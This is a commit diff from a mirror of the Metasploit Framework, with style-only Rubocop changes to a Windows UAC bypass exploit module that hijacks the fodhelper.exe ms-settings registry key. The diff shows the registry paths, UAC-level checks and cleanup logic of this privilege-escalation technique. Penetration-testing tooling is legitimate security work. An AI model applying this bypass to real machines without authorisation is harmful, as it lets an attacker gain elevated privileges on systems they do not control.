github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00
Code Releases Activity

Merge pull request #3 from bwatters-r7/land-8434

Browse Source 
Rubocop readability changes
This commit is contained in:
Alexandre Maloteaux 2017-06-06 22:09:53 +01:00 committed by GitHub
commit e5e3be3046
1 changed files with 57 additions and 56 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
modules/exploits/windows/local/bypassuac_fodhelper.rb
View File

@ -14,16 +14,18 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Registry
include Post::Windows::Runas
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings"
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command"
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'
EXEC_REG_VAL = '' # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe"
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
CMD_MAX_LEN = 16383
def initialize(info = {})
super(update_info(info,
super(
update_info(
info,
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
'Description' => %q{
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
@ -57,7 +59,8 @@ class MetasploitModule < Msf::Exploit::Local
]
],
'DisclosureDate' => 'May 12 2017'
))
)
)
end
def check
@ -95,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Local
end
end
if !payload.arch.empty? && !(payload.arch.first == target_arch.first)
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
end
@ -108,8 +111,7 @@ class MetasploitModule < Msf::Exploit::Local
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
@ -171,7 +173,6 @@ class MetasploitModule < Msf::Exploit::Local
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
end
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
end
def check_permissions!